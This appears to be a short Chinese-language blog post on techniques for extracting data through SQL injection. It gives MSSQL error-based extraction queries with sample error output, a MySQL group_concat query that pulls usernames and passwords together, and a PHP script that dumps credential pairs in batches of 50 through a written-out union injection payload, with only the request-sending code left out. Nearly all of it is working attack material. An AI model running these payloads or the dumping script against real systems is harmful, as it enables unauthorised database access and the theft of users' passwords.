SQL注入中获取数据的一些技巧分析

select username from members where 1=2 union select top 3 username from members for xml raw

<row username=\”admin\”/><row username=\”Anna\”/><row username=\”oldjun\”/> select username from members where 1=(select top 3 username from members for xml raw)

Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value \'<row username=\”admin\”/><row username=\”Anna\”/><row username=\”oldjun\”/>\’ to data type int.

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

<? if ($argc < 3) { print_r(\’ +—————————————————————————+ Usage: php \’.$argv[0].\’ start end(end: count/50) Example: php \’.$argv[0].\’ 0 9999 Author:oldjun(http://www.oldjun.com) +—————————————————————————+ \’); exit; } error_reporting(7); ini_set(\’max_execution_time\’, 0); $start = $argv[1]; $over = $argv[2]; for($i=$start;$i<=$over;$i++){ getdata($i); } function getdata($i) { $resp = send($i); if ($resp){ preg_match(\’#<<<<<<<<<<([^\\n]+):([^\\n]+)>>>>>>>>>>#\’, $resp, $value); if($value){ $namearr=explode(\”|||\”,$value[1]); $passarr=explode(\”|||\”,$value[2]); for($j=0;$j<50;$j++){ echo $namearr[$j].\”|||\”.$passarr[$j].\”\\r\\n\”; } unset($namearr); unset($passarr); }else{ echo $resp; echo \”value error,return $i\\r\\n\”; getdata($i); } } else{ echo \”resp error,return $i\\r\\n\”; getdata($i); } } function send($i) { $limit=$i*50; //发送数据包代码省略 //注入语句示例：union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit \”.$limit.\”,50) A# } ?>